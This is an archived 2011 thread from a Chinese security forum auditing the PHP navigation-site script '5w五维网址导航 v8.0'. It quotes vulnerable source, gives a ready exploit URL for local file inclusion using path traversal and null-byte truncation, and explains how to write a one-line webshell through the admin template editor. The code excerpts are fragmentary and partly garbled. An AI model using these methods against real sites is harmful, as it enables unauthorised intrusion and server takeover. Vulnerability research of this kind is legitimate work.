# 【Php】5w五维网址导航 v8.0 漏洞

**URL:** <https://forum.90sec.com/t/topic/2701>\
**Category:** 代码审计\
**Created:** [2011 年10 月 13 日 14:56 UTC](https://forum.90sec.com/t/topic/2701 "2011-10-13T14:56:18Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

作者： ![Micropoor1](https://forum.90sec.com/user_avatar/forum.90sec.com/micropoor1/32/11345_2.png) [@Micropoor1](https://forum.90sec.com/u/Micropoor1)\
发布日期： [2011 年10 月 13 日 14:56 UTC](https://forum.90sec.com/t/topic/2701/1 "2011-10-13T14:56:18Z")

</div>

\*\*[http://hi.baidu.com/micropoor\*\*//](http://hi.baidu.com/micropoor**//) upload\i\index.php  
\<?php  
//略  
$controller = !empty($\_GET['c']) ? $\_GET['c'] : 'index';  
$action = !empty($\_GET['a']) ? $\_GET['a'] : 'index';

//cookie 自动登陆 并判断 uri

```php
if (isset($_COOKIE['cUser']) && $_COOKIE['cUser']['userID'] != 0) { 
    $userID = GetCUserID(); 
    $domain = GetCUserDomain(); 
    $sql = 'SELECT * FROM members WHERE userID = "'.$userID.'"'; 
    $arrRow = $objC -> GetRow($sql); 
    //http://t.qq.com/MakeBug 
        }
```

[http://t.qq.com/MakeBug](http://t.qq.com/MakeBug)  

}  
}else if($domain == 'c' || $domain == 'a' || $domain == ''){  
$domain = GetCUserDomain();  
$params['controller'] = $controller;  
$params['action'] = $action;  
$params['domain'] = $domain;  
}

//[http://t.qq.com/MakeBug](http://t.qq.com/MakeBug)

$filePath = CONTROLLER\_PATH . $classname.'.php';  
//这怎么过？

利用方法：[http://127.0.0.1/i/index.php?c=/../robots.txt%00](http://127.0.0.1/i/index.php?c=/../robots.txt%00)

可以考虑包含日志等。 （鸡肋）

后台shell篇：\<?php  
// upload\admin\themedetail.php  
//[http://t.qq.com/MakeBug](http://t.qq.com/MakeBug)  
if(isset($\_POST['content'])){

```php
$content = stripslashes(htmlspecialchars_decode($_POST['content'])); 
     
    $theme = $_POST['theme']; 
    $file = $_POST['file']; 
    if(!array_key_exists($file,$files))die('不存在此模板文件'); 
    if(!preg_match("/^\w+\/$/",$theme))die('模板路径异常'); 
    $path = TEMPLATES.'theme/'.$theme.$file; 
    if(is_file($path)){ 
        $rs = file_put_contents($path,$content); 
        if($rs) 
            flushHTML('模板修改成功！<br />'); 
        //http://t.qq.com/MakeBug  
 
    }
```

//[http://t.qq.com/MakeBug](http://t.qq.com/MakeBug)  
}else{  
if($\_GET['theme']){  
theme = \_GET['theme'];  
}else{  
$theme = THEME\_PATH;  
}

```
$path = TEMPLATES.'theme/'.$theme.$_GET['file']; 
if(is_file($path)){ 
    $content = htmlspecialchars(getContent($path)); 
    $objS -&gt; assign("content",$content); 
    $objS -&gt; assign("theme",$theme); 
    $objS -&gt; assign("file",$_GET['file']); 
    $objS -&gt; display("admin/themedetail.tpl"); 
} 

} 

```

}  
//利用方法：直接编辑写入一句话。注入key的问题。

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2011 年10 月 13 日 15:06 UTC](https://forum.90sec.com/t/topic/2701/2 "2011-10-13T15:06:20Z")

</div>

赞啦 嘿嘿
